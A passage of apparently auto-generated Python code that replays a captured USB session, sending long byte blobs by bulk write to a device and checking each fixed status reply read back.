b\"\\xC7\\xAC\\x7C\\xDB\\xAE\\x7A\\x4E\\xA7\\x1D\\x5B\\x66\\xAF\\xBD\\xDC\\xA7\\x52\"\n b\"\\xC3\\xF1\\x92\\xE5\\xFA\\x50\\xC1\\x01\\x59\\xEA\\x23\\xFD\\x20\\xD3\\x79\\x1E\"\n b\"\\x61\\x3C\\x9C\\xA7\\x8B\\x5A\\x77\\x63\\x5F\\xD4\\xFB\\x74\\x0C\\x2C\\x71\\x46\"\n b\"\\x28\\x9E\\x01\\x5E\\xBF\\x1B\\x1A\\x42\\xA0\\x4C\\xE4\\xF7\\x38\\xD0\\x93\\x65\"\n b\"\\x11\\xA1\\x6E\\x28\\xAB\\x51\\x43\\x1B\\x52\\x1C\\x36\\xCD\\x03\\xE8\\x61\\x4A\"\n b\"\\xCB\\x27\\x06\\xCB\\x1D\\x45\\x8B\\x2C\\xA4\\xE0\\x99\\xDA\\x61\\xDD\\x0E\\xA8\"\n b\"\\x30\\xC2\\x2B\\x6D\\x0C\\xC0\\x16\\xED\\xEF\\x71\\x7F\\x28\\x2E\\xD3\\xC0\\x00\"\n b\"\\x92\\x09\\x78\\x17\\x8A\\x70\\xA6\\x7D\\x40\\x28\\xF6\\x2A\\x54\\x81\\x05\\x4C\"\n b\"\\x06\\x67\\xDE\\xB2\\xA6\\xF4\\x33\\x80\\x31\\x07\\xDF\\xF8\\xAA\\x77\\x33\\x7F\"\n b\"\\x06\\xD3\\x31\\x7B\\x85\\x24\\x2F\\x29\\x89\\xA3\\x55\\x7B\\x4D\\x2F\\xA2\\xD8\"\n b\"\\xBB\\x2F\\x0C\\x60\\x50\\xC9\\xE4\\x21\\x1B\\x07\\x6F\\xEA\\x63\\xE4\\xD5\\x0E\"\n b\"\\x28\\xA9\\x7E\\xF8\\xFC\\x15\\x54\\x2F\\x13\\x92\\x0F\\x5D\\x73\\x27\\x1D\\x5C\"\n b\"\\xDE\\xBF\\x8E\\xD1\\x38\\x0C\\x18\\x80\\x2C\\x63\\x7A\\x26\")\n # Generated from packet 447/448\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 447/448\")\n # Generated from packet 449/450\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x15\\x88\\xB3\\x0F\\x66\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF1\\x0E\\x61\\x27\\x8A\\x0A\\x35\\x66\"\n b\"\\x2D\\x43\\x98\\x61\\x5B\\x1D\\x29\\xB4\\x67\\x86\\x4C\\xFE\\xFB\\xDD\\x83\\x8A\"\n b\"\\x22\\x6D\\x87\\x9D\\xA8\\x24\\xBA\\xC4\\x12\\x7F\\x76\\x1C\\x3A\\xDD\\x82\\x68\"\n b\"\\xB2\\xA3\\xB5\\x88\\x2A\\x5D\\x37\\xF3\\x5D\\x86\\x37\\x72\\xE9\\x05\\x4C\\xC6\"\n b\"\\x62\\xDC\\x40\\x92\\x67\\xFB\\x85\\x7C\\x67\\x78\\x29\\x55\\x9D\\x9E\\xA2\\x98\"\n b\"\\x60\\x97\\xFF\\x21\\xF9\\x69\\x91\\x5C\\x9F\\x19\\x70\\x4C\\xE0\\x90\\x9E\\xF2\"\n b\"\\xBC\\x22\\xFA\\xA9\\xD2\\xF6\\x64\\x06\\x54\\x27\\x3B\\xE8\\x98\\x5A\\x66\\xAC\"\n b\"\\xDE\\x03\\xDF\\x28\\xCA\\x90\\x03\\x10\\xE1\\x3B\\x99\\x29\\x15\\xBA\\x46\\x4B\"\n b\"\\x21\\x80\\xE9\\xE7\\xC1\\xB8\\xAF\\x3C\\xA4\\xFD\\x4B\\x77\\x82\\x84\\x17\\x7D\"\n b\"\\xD9\\x93\\x57\\x15\\xA2\\x62\\x9F\\x53\\xEA\\x3C\\x0C\\x13\\xD7\\x66\\x2C\\xBB\"\n b\"\\xA4\\x1D\\x58\\x96\\xA8\\x5E\\x08\\xF2\\x89\\x2A\\x3F\\x4E\\x71\\x81\\xB1\\x1B\"\n b\"\\xF2\\x8A\\x00\\xBB\\x18\\x86\\x7D\\xD7\\xD0\\xD5\\x61\\x0A\\x68\\x64\\x56\\x3C\"\n b\"\\xCB\\x6E\\x99\\x7D\\xAB\\x91\\x47\\x54\\x60\\xFC\\x20\\xFF\\xCA\\x0A\\x22\\x41\"\n b\"\\xE2\\x2A\\x7E\\xE1\\x35\\x21\\x75\\x83\\xEE\\xDA\\x00\\xF8\\xEF\\x17\\x10\\x8F\"\n b\"\\xE0\\x10\\x4B\\x42\\xB6\\xE8\\x36\\xF7\\x1B\\x5E\\x58\\x89\\xA8\\x15\\x7C\\x65\"\n b\"\\x15\\xE0\\xB2\\x01\\xC2\\xDF\\x39\\xEE\\x57\\x22\\xA9\\xBD\\x64\\x5F\\x68\\xF6\"\n b\"\\x82\\x73\\x75\\xDA\\x24\\x3E\\x83\\x1B\\xBD\\xAB\\x64\\x54\")\n # Generated from packet 451/452\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 451/452\")\n # Generated from packet 453/454\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x64\\xA0\\xAB\\x8B\\xD0\\x1C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1D\\x84\\x41\\xA1\\x68\\x3D\\xD9\\xEB\"\n b\"\\xA4\\x43\\x20\\x81\\xEC\\xA0\\xB5\\xAB\\xA7\\x7E\\xCF\\xB6\\x2F\\x5D\\x5F\\xEB\"\n b\"\\x73\\x09\\x34\\x55\\x96\\xAD\\x27\\x55\\xC1\\x39\\x76\\x6C\\x49\\x5D\\x2A\\xBD\"\n b\"\\x1C\\x92\\x1C\\xA6\\xF2\\x92\\x2E\\x4F\\xF5\\x1F\\xEB\\xC6\\x5A\\x2F\\x23\\x5A\"\n b\"\\x6B\\x96\\xED\\xC1\\x34\\xD9\\x03\\x6B\\x8A\\xF6\\xD7\\xA5\\xC3\\x33\\x2B\\x11\"\n b\"\\x8E\\x54\\x5C\\x31\\x0D\\x84\\xF0\\x0B\\x27\\xDE\\x99\\x7A\\x08\\x7F\\x69\\x72\"\n b\"\\xFE\\xCE\\x97\\x2B\\xBC\\x76\\xBB\\x6F\\x02\\x4A\\xE1\\x60\\x50\\x87\\x6B\\x21\"\n b\"\\xCF\\x8B\\x26\\x81\\x64\\x7B\\xF4\\xD0\\x4E\\xAC\\x5E\\x55\\x53\\xA7\\x9D\\x9F\"\n b\"\\xA6\\xFF\\x1B\\xFF\\x7F\\xB2\\xC8\\x21\\xBB\\xA9\\x1A\\x77\\x8E\\xD8\\xFE\\x8B\"\n b\"\\x99\\x16\\xE0\\xB6\\x80\\x6A\\xB1\\x7E\\x2B\\xB2\\xB6\\xC9\\x9E\\x0D\\x64\\x72\"\n b\"\\xB5\\x8F\\xEE\\xAA\\x8E\\x19\\xB8\\x97\\xF6\\x1B\\xF1\\xBB\\x01\\x69\\xFE\\xBD\"\n b\"\\x19\\x55\\xE6\\xD6\\xE8\\x1D\\xEB\\xF7\\xFB\\x65\\x6D\\xA5\\x79\\xF4\\xE4\\xED\"\n b\"\\xE0\\xB0\\x0C\\xD6\\x9C\\x9F\\x2B\\x8D\\xFE\\x61\\x2B\\xF0\\xF9\\x0A\\x1D\\x1D\"\n b\"\\x74\\x7C\\xA9\\x43\\xCE\\xA7\\x81\\xE3\\x7A\\xA7\\x0D\\x52\\x45\\x80\\xA1\\x2E\"\n b\"\\xC9\\x10\\xFC\\xB9\\x27\\x24\\x63\\x13\\x75\\x84\\x1A\\xFA\\xA2\\x41\\xE1\\xAC\"\n b\"\\xD1\\xEA\\x91\\x94\\xB0\\xFC\\xB4\\xA9\\x39\\x9D\\x9A\\x4E\\x08\\x8B\\x7F\\x8C\"\n b\"\\xB8\\x28\\x38\\xEC\\x0B\\x57\\xB7\\x23\\x1D\\xB5\\xF1\\xFE\")\n # Generated from packet 455/456\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 455/456\")\n # Generated from packet 457/458\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBD\\x8B\\x2E\\x6E\\x6B\\x36\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEE\\xB1\\xEF\\x0C\\xDC\\x8B\\x8D\\xF7\"\n b\"\\xE7\\xD2\\x25\\x0A\\x08\\xB1\\x58\\xBC\\xC4\\x40\\x5E\\x8B\\x8F\\x01\\xCC\\x60\"\n b\"\\x32\\x75\\x0D\\x62\\x51\\x53\\x7A\\x2E\\x0A\\xA7\\x7E\\x57\\x23\\x0C\\xC3\\xD5\"\n b\"\\x90\\x9C\\xEF\\x0D\\xF9\\x6B\\xEB\\x8F\\x7D\\x68\\x1A\\x53\\xFF\\x18\\x6E\\x51\"\n b\"\\x3E\\x80\\x36\\x24\\xDE\\x87\\xFB\\x58\\xC3\\xD3\\xD1\\xA4\\x4E\\xD4\\xCD\\x27\"\n b\"\\xDD\\x3F\\x34\\x07\\x7D\\x0E\\xC0\\xF4\\x10\\x22\\x9A\\xE4\\x37\\xFF\\x96\\x78\"\n b\"\\xBF\\x77\\xF0\\x54\\x6B\\x79\\xF3\\x47\\xC1\\x11\\xE5\\x6D\\xBD\\x00\\x6D\\xAD\"\n b\"\\x60\\xFE\\x43\\x0A\\x25\\x53\\x71\\xF0\\x93\\x57\\x8A\\x32\\xE6\\xC3\\xE5\\x8E\"\n b\"\\x4E\\xAD\\x5D\\x8D\\xF2\\x8F\\xEF\\x33\\x2B\\xEE\\xF4\\x04\\x51\\x6A\\xD6\\xA0\"\n b\"\\xC6\\x2B\\x51\\xAC\\x5E\\x0D\\x13\\xD5\\x90\\xE6\\xD1\\xE0\\x4C\\xC1\\x12\\x61\"\n b\"\\xF6\\x38\\x03\\x06\\xCE\\x37\\x8C\\x70\\x8F\\x58\\x34\\x2E\\xDD\\xAF\\x72\\x87\"\n b\"\\xEA\\xE0\\x03\\x6D\\x66\\x95\\x47\\xC7\\x01\\x6E\\x1C\\xB0\\xA3\\xEE\\x87\\xED\"\n b\"\\xED\\xC2\\xD2\\x81\\xBD\\xFA\\xB1\\xB0\\x69\\xE8\\x00\\xC1\\x13\\x97\\x12\\xCF\"\n b\"\\xD6\\x6C\\x36\\x23\\xAC\\x43\\xAF\\x63\\x7E\\xE5\\xE9\\x33\\xC6\\xA7\\x99\\x52\"\n b\"\\x0C\\x6F\\xFC\\x16\\xEF\\x12\\x4D\\x7B\\xAB\\x90\\xEC\\x6B\\xE8\\x95\\xD4\\x97\"\n b\"\\xD3\\xFF\\x3B\\x24\\x3F\\x8E\\xAA\\x26\\xF0\\x6C\\xF1\\x1D\\x41\\x9A\\x6D\\xAC\"\n b\"\\xB6\\x6D\\x81\\x7B\\xF1\\x6B\\xAE\\x14\\x69\\x06\\x16\\x66\")\n # Generated from packet 459/460\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 459/460\")\n # Generated from packet 461/462\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x00\\xBC\\x40\\xB3\\xC4\\x66\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xED\\xE7\\xEE\\x84\\xF6\\x11\\x44\\xDF\"\n b\"\\xE1\\xBE\\xF2\\x3C\\x04\\x30\\x2C\\x86\\x3E\\xC9\\x76\\x9F\\xCF\\x3F\\xC6\\x22\"\n b\"\\x03\\x54\\x40\\xF3\\xF2\\x19\\x4F\\x12\\x2F\\xD9\\x69\\xE6\\x51\\x8B\\x7F\\x25\"\n b\"\\xDD\\xEE\\x38\\xCE\\x6F\\x50\\xF9\\x75\\x35\\xEB\\x55\\x82\\x48\\x44\\x02\\x96\"\n b\"\\x0D\\x54\\x98\\x83\\x0A\\x43\\x39\\xF7\\xC4\\xC8\\xB1\\xA3\\xDF\\x0C\\xA1\\x36\"\n b\"\\x1D\\x54\\x2A\\x0D\\x60\\xA3\\x43\\x44\\xA5\\x05\\x0E\\x26\\x3F\\xDB\\x90\\x77\"\n b\"\\x5A\\xA5\\xBE\\x26\\xCE\\xA4\\x75\\xCC\\x65\\xDC\\xF9\\x27\\x8A\\x41\\xC9\\xEC\"\n b\"\\x08\\xC3\\x99\\x30\\xFF\\xDE\\x30\\xC4\\x51\\x40\\x9D\\x8E\\x4E\\x17\\x32\\x1A\"\n b\"\\x91\\x7A\\xC6\\x1B\\x7D\\xE6\\x9E\\x98\\x2E\\x61\\x3A\\xA5\\xCE\\x1A\\xC1\\x5F\"\n b\"\\x5A\\x7F\\xA6\\x56\\x47\\x91\\x4F\\xE5\\x58\\x39\\x1D\\x28\\xB2\\x62\\x7C\\xCD\"\n b\"\\x17\\x97\\x6D\\x14\\x24\\x56\\x54\\x61\\x6E\\x4F\\xBB\\x7F\\xB6\\x8F\\xB6\\x70\"\n b\"\\x89\\x77\\x14\\x7E\\x0C\\x39\\x2B\\x7E\\xFA\\xCA\\x8C\\x28\\xA0\\x43\\x4F\\xE1\"\n b\"\\x7C\\xA9\\xFA\\xEC\\x8A\\x20\\x1D\\xA8\\xCF\\x80\\xFF\\x91\\xFC\\xC4\\x7C\\x8C\"\n b\"\\x17\\xAC\\xB6\\x30\\x25\\xA5\\x28\\xAB\\x6F\\xDE\\x2E\\x86\\x4B\\xF0\\x45\\x9E\"\n b\"\\x4C\\xC9\\x76\\x33\\xB0\\xC9\\xDA\\x6F\\x2F\\x58\\xCB\\x7B\\x2B\\xB0\\x3F\\x6C\"\n b\"\\x6A\\x78\\xF6\\xA7\\xDB\\x61\\x0A\\xF3\\xC2\\xE1\\xA8\\x0F\\x6F\\xA3\\x12\\x5B\"\n b\"\\x9F\\x83\\xD1\\xB5\\x67\\x29\\x3C\\x58\\x35\\x76\\xE3\\xF6\")\n # Generated from packet 463/464\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 463/464\")\n # Generated from packet 465/466\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCE\\xF1\\x14\\x6B\\x30\\x42\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD5\\x2C\\x78\\x84\\x2E\\x0C\\xE8\\x65\"\n b\"\\x0D\\x50\\xDB\\x18\\xA7\\x8D\\xBC\\xF2\\xA7\\xDE\\xFE\\x37\\x40\\x71\\x3C\\xB5\"\n b\"\\x60\\x3F\\x34\\xFE\\x04\\x0A\\x29\\x64\\x0C\\xF1\\xB8\\xAB\\x0B\\x77\\x6F\\x27\"\n b\"\\xB2\\x68\\x74\\xB5\\xE4\\x54\\x9F\\x13\\xA7\\x88\\x32\\x22\\xE1\\x68\\x86\\xD1\"\n b\"\\xB6\\xED\\x38\\x8D\\x0D\\x9E\\x49\\xF1\\x98\\x01\\x7A\\x7F\\xA9\\xF6\\x75\\x4D\"\n b\"\\xBF\\x97\\x31\\x92\\x53\\xCF\\x04\\x6C\\xB1\\x71\\x02\\x7D\\x9A\\x8A\\x1A\\x65\"\n b\"\\x57\\xE6\\x34\\x49\\xCC\\x00\\x62\\x70\\x73\\xC2\\x74\\x46\\x26\\x0F\\xB0\\x66\"\n b\"\\x12\\xB7\\x87\\xB6\\xD7\\xB4\\x21\\x76\\x73\\x0F\\x18\\x1E\\xD0\\x2C\\x58\\xC8\"\n b\"\\x73\\x74\\x47\\xB8\\x19\\xC1\\x52\\xA4\\xBA\\x28\\x75\\x20\\x10\\x4A\\x7D\\x58\"\n b\"\\xA6\\x62\\x06\\xA8\\x54\\x16\\x2A\\xD7\\x5F\\xE9\\x19\\xA0\\x47\\x2C\\x73\\xEF\"\n b\"\\xA1\\x15\\x16\\xF1\\x5A\\xC9\\xF3\\xEE\\x6E\\x11\\x10\\x98\\x08\\x3B\\x47\\xF2\"\n b\"\\x26\\xAB\\xBB\\x1C\\x33\\xB9\\xD7\\xED\\xCB\\x21\\xDD\\xBC\\xF9\\x89\\x99\\x58\"\n b\"\\x62\\x89\\xE7\\x1C\\xC0\\xD3\\x02\\x6E\\x6F\\x8A\\xB6\\xF6\\x97\\x75\\x5A\\x18\"\n b\"\\xBF\\x54\\x67\\xE1\\x5B\\xB4\\x96\\x53\\x50\\xDF\\x3D\\x5C\\x6D\\xC2\\x47\\xB2\"\n b\"\\x4E\\x4A\\xF8\\x22\\x07\\x80\\xF7\\xCE\\x5F\\x29\\xEF\\xBA\\x8B\\x86\\xA7\\xD7\"\n b\"\\xE2\\xD8\\x54\\x4F\\x58\\x13\\x94\\x25\\x7D\\xAE\\x1B\\x7B\\x23\\x92\\x6E\\xB9\"\n b\"\\xCE\\x27\\xAD\\x29\\xC4\\x97\\xC5\\x27\\x75\\x6B\\x5D\\x18\")\n # Generated from packet 467/468\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 467/468\")\n # Generated from packet 469/470\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD8\\x3D\\xDA\\xA6\\xB7\\x7E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC8\\x70\\xA5\\x3E\\x69\\x72\\x1F\\x15\"\n b\"\\xBF\\xBB\\xB9\\xDF\\xBA\\x0D\\xA2\\x7E\\xFB\\x24\\xFD\\x93\\x1B\\x32\\xAC\\x26\"\n b\"\\x6A\\xCC\\x21\\x61\\xB1\\x4C\\x0A\\x09\\x44\\x23\\xBF\\xA0\\xF1\\x8A\\x9B\\x5C\"\n b\"\\x1E\\xDB\\xF2\\xBF\\x9F\\x7F\\x72\\x2F\\x7C\\x0A\\x19\\xF5\\xCA\\xB4\\x96\\xF0\"\n b\"\\x42\\x10\\x88\\x61\\x38\\xB6\\x08\\xFA\\x13\\xD3\\xC6\\x19\\x36\\xD7\\x33\\x42\"\n b\"\\x80\\x2F\\x89\\x4C\\x8A\\x54\\xFF\\x10\\x1F\\x39\\x13\\x1A\\xBD\\x83\\xE9\\xF4\"\n b\"\\x47\\x56\\x33\\xC3\\xFE\\xB9\\x38\\xDD\\xB2\\xC2\\x4C\\xD6\\xC8\\x66\\x4E\\x95\"\n b\"\\x26\\x58\\x54\\x70\\x5D\\x2C\\x02\\x0D\\x6B\\x5C\\x0D\\x47\\xDA\\x09\\x07\\xF1\"\n b\"\\x23\\x12\\xA2\\x14\\xB8\\xC5\\xE8\\x5B\\x5D\\x54\\x8D\\x1A\\x69\\xF7\\xFF\\xDF\"\n b\"\\x95\\x1F\\x17\\x31\\x8F\\x1A\\x50\\x26\\xFB\\x8F\\x77\\x7E\\xDB\\x70\\x05\\x53\"\n b\"\\xC0\\x83\\x22\\xE4\\xF6\\x21\\x02\\xD3\\x78\\xB6\\xC5\\xCF\\x24\\xFB\\x05\\xB8\"\n b\"\\x2E\\x5D\\x07\\x30\\x69\\x7E\\x35\\xA9\\x17\\x5D\\xB4\\xAC\\x44\\x42\\x26\\x85\"\n b\"\\x05\\x2A\\x30\\x3F\\xE6\\x29\\x6B\\x9F\\xCF\\x25\\xFF\\xE4\\xB7\\xEE\\x1A\\x8F\"\n b\"\\x8F\\x70\\x16\\xE6\\x58\\x4C\\x83\\x0F\\x34\\x33\\x6D\\xF2\\x64\\xD8\\x2E\\x89\"\n b\"\\x75\\x61\\x91\\xD1\\x49\\x65\\xBC\\xC5\\x93\\xB3\\x16\\x3A\\x95\\x27\\xED\\x66\"\n b\"\\x6B\\xA3\\x7F\\x73\\x79\\x6E\\x18\\xB0\\x1A\\xE8\\xAF\\x1C\\xCE\\x55\\xAB\\xC2\"\n b\"\\xBE\\x6D\\xED\\x2A\\x38\\xB6\\x06\\x16\\x7F\\x3E\\xE4\\x85\")\n # Generated from packet 471/472\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 471/472\")\n # Generated from packet 473/474\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4D\\x67\\xD2\\x38\\x32\\x60\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x30\\x43\\x99\\x35\\xE1\\xC0\\x06\\xAE\"\n b\"\\xAB\\xD8\\xA4\\x40\\xB9\\x2D\\x18\\x77\\x7D\\x01\\x25\\xE1\\x11\\x1E\\x5D\\x20\"\n b\"\\x30\\x91\\xBE\\x46\\x8B\\x32\\x16\\x9A\\x00\\x4F\\x71\\xE7\\x20\\xC5\\x3F\\x84\"\n b\"\\x74\\xDB\\xA0\\x15\\xCF\\x92\\x66\\x8C\\xBC\\xB6\\x0D\\x5D\\x41\\xFD\\xA2\\xE8\"\n b\"\\x1A\\x21\\xAF\\xD5\\x30\\x4F\\x26\\xD8\\xBF\\x70\\x79\\xCC\\xDF\\xD1\\x2E\\xF7\"\n b\"\\x94\\xDB\\x7A\\xAC\\xCE\\x6F\\xD0\\x7F\\xD3\\xB3\\xE4\\x5E\\x6A\\xA2\\x6E\\x66\"\n b\"\\xF9\\x58\\x77\\x77\\x87\\x8F\\xB5\\x5C\\x5D\\x3B\\x13\\xA3\\xA6\\xCF\\x9B\\x37\"\n b\"\\x3E\\x56\\xEA\\x0C\\xAF\\x58\\x4B\\x76\\x47\\x37\\x60\\xA0\\x5C\\xA4\\x93\\xC7\"\n b\"\\xAC\\x66\\x12\\x4B\\x22\\xA5\\xCB\\x3D\\xB5\\x26\\xAA\\x32\\x81\\xB6\\x50\\x31\"\n b\"\\x40\\xF9\\x00\\xA5\\x68\\x61\\x12\\x7A\\x11\\xD6\\xF2\\x98\\xB9\\xB7\\x3E\\x5A\"\n b\"\\x1A\\x9F\\x03\\x14\\x4C\\x7F\\x50\\x46\\x1F\\xA7\\xD6\\x0F\\xFC\\x06\\x01\\x2C\"\n b\"\\xC8\\xE4\\xB2\\xD7\\xB4\\x1A\\x12\\x73\\x90\\x87\\xFF\\x14\\x99\\x2C\\x7A\\x7E\"\n b\"\\x8D\\xB8\\x1A\\x83\\xB7\\x66\\x4E\\x64\\x44\\xF4\\x28\\x08\\xCB\\xD6\\x02\\xC0\"\n b\"\\xB0\\x96\\x48\\x35\\xD9\\x3B\\x2E\\x88\\x3D\\xFE\\xBE\\x6C\\xF5\\x59\\xCE\\x33\"\n b\"\\x8C\\x67\\x1C\\x38\\x5B\\x1B\\xB3\\x8E\\xB8\\x91\\x26\\x6B\\x47\\x10\\xDB\\x13\"\n b\"\\xCD\\xB8\\x26\\x35\\x16\\xA8\\x9E\\x7D\\x1E\\x30\\x0F\\xBC\\x76\\x70\\x45\\x2F\"\n b\"\\x80\\x06\\x63\\xA3\\x45\\x15\\x7E\\x70\\x4D\\x73\\x60\\xF0\")\n # Generated from packet 475/476\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 475/476\")\n # Generated from packet 477/478\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC2\\x88\\xC8\\x10\\x3B\\x2C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEA\\xA7\\x5C\\xDE\\x94\\x40\\xBE\\x6E\"\n b\"\\xC7\\xC0\\x3E\\xDB\\xD3\\x35\\xB1\\x14\\xDC\\xC9\\xC2\\x89\\x64\\x03\\x86\\x42\"\n b\"\\xD6\\x83\\x2E\\x93\\xED\\xC0\\xF3\\x67\\x4C\\x7B\\xBB\\xEE\\x2B\\x1B\\xE0\\x91\"\n b\"\\x39\\x13\\x1A\\x07\\xB8\\xD4\\x56\\x07\\x2F\\xF9\\xEE\\xA1\\x4C\\x45\\x63\\x4E\"\n b\"\\x07\\x5D\\x03\\xDB\\x38\\x24\\x3E\\x83\\x4A\\xC3\\xB3\\x66\\xB2\\x4F\\x94\\xDB\"\n b\"\\xA4\\xE7\\xD9\\x1F\\xB7\\x73\\x34\\x3B\\x30\\x84\\x9D\\x22\\xB8\\xC8\\xFE\\x60\"\n b\"\\x1F\\x04\\xBC\\x3D\\x11\\xF4\\xE3\\xE9\\x62\\x99\\x4D\\x1A\\x9E\\x02\\x55\\x8E\"\n b\"\\x3B\\x6B\\x14\\x50\\x73\\xD7\\xB8\\xD5\\x10\\x83\\x6B\\xBC\\x54\\xEA\\x36\\x3B\"\n b\"\\x1A\\xD7\\xFF\\x11\\xBE\\x58\\x82\\x91\\xC9\\xA2\\x90\\xAF\\xF9\\xA2\\xC3\\x51\"\n b\"\\xEF\\xB9\\xA9\\x7E\\x8A\\xE0\\xAF\\xC0\\x0C\\xE7\\xD7\\x01\\xC5\\x23\\xE6\\x3F\"\n b\"\\xBB\\xE3\\xBC\\x99\\xFC\\x18\\x82\\x90\\xBE\\x9A\\xAF\\xCF\\x52\\x76\\x97\\xC1\"\n b\"\\xEA\\xD5\\x22\\x1A\\xB8\\x71\\xFA\\xCC\\xAB\\xED\\xB3\\x8A\\x38\\xED\\x1B\\xEB\"\n b\"\\xA8\\xBF\\x8F\\xB5\\xD6\\x27\\xFE\\x2D\\x6D\\x23\\x79\\xF6\\x6C\\xAE\\xF1\\x3E\"\n b\"\\x2F\\x97\\x84\\xE9\\x0C\\x83\\x76\\x3B\\x44\\x4C\\x04\\x1A\\x77\\xDA\\xA1\\xA9\"\n b\"\\x83\\xE5\\xF1\\x9E\\x44\\x76\\x21\\xFF\\x0C\\x12\\xDA\\x94\\xE3\\x4D\\xA3\\x61\"\n b\"\\xA7\\x22\\xDE\\xC0\\x9F\\xBD\\xF7\\x64\\x48\\x8F\\x90\\x24\\xDD\\x5D\\x0E\\xF6\"\n b\"\\xEA\\x39\\x24\\x8E\\x7C\\xD0\\x9B\\x8A\\x75\\xDB\\xBB\\xB8\")\n # Generated from packet 479/480\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 479/480\")\n # Generated from packet 481/482\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF8\\x65\\x26\\xAD\\xA1\\x15\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAF\\x00\\x19\\xEE\\x05\\x15\\x2F\\xA3\"\n b\"\\x40\\x21\\xCD\\x90\\x08\\x0F\\x47\\xCD\\x5E\\x41\\xD8\\x85\\x5D\\x9F\\x52\\xC9\"\n b\"\\x85\\xDE\\xEB\\xEF\\x12\\x88\\x70\\xE6\\x4D\\x2F\\xDF\\x87\\xFD\\xE1\\x8F\\xD7\"\n b\"\\x6E\\x89\\x93\\xF7\\x04\\xD7\\x38\\xB4\\x5B\\x58\\xF3\\x9D\\xB6\\xDC\\x65\\x33\"\n b\"\\x54\\x12\\x6C\\x4D\\xD2\\x83\\xC0\\x5D\\x95\\x96\\x04\\x81\\x90\\x28\\xDC\\x24\"\n b\"\\x8B\\xFC\\x99\\xCA\\xF0\\x26\\xEF\\x02\\x4D\\x57\\xC1\\xCF\\x23\\x9E\\x16\\xE7\"\n b\"\\xC9\\x30\\x31\\x7F\\x1B\\x8E\\xB0\\x30\\xB5\\xFA\\x91\\xAC\\x42\\x23\\xA0\\xB9\"\n b\"\\x62\\x4E\\x03\\x9A\\xF1\\x3D\\x6C\\x5E\\x81\\x61\\xDA\\x5C\\x94\\x92\\x33\\xE4\"\n b\"\\x7A\\x1C\\xBC\\xE5\\x9B\\xA9\\x16\\xDF\\xA3\\xF5\\xFB\\xFA\\x6C\\x41\\x0B\\x4B\"\n b\"\\x7F\\x4E\\x30\\xFA\\x4A\\x11\\x0F\\xCC\\x29\\xCA\\x87\\x6E\\x7E\\xB4\\x98\\x21\"\n b\"\\x25\\x34\\x8F\\x2D\\x34\\x40\\xD0\\xA8\\x64\\xD4\\xB2\\x42\\x4D\\x98\\x98\\x80\"\n b\"\\x4D\\xED\\xF1\\x24\\xF6\\x88\\xB7\\x9E\\x61\\xD6\\x9C\\xCB\\x7C\\x6B\\x5D\\xDC\"\n b\"\\xEB\\xFC\\xF7\\xD8\\xCF\\x89\\xFA\\xA2\\xD4\\x67\\xAA\\x13\\x96\\xA7\\x44\\x89\"\n b\"\\xB1\\x30\\xD9\\x24\\xCE\\xE6\\xCB\\x3C\\xE3\\x4E\\x34\\x9F\\xF9\\x3E\\xAC\\x7A\"\n b\"\\xA8\\x05\\xB8\\x97\\x3C\\x38\\x23\\xFC\\xB3\\x4F\\xCE\\x07\\x13\\x0C\\x1B\\x67\"\n b\"\\xEC\\x6C\\x6D\\x1A\\x34\\x0E\\x9A\\x12\\xC5\\xAF\\x83\\xBC\\x4A\\x01\\x49\\xE4\"\n b\"\\xF9\\x34\\xE3\\x00\\x32\\x03\\xBD\\xA2\\x12\\xDC\\xA3\\x26\")\n # Generated from packet 483/484\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 483/484\")\n # Generated from packet 485/486\n 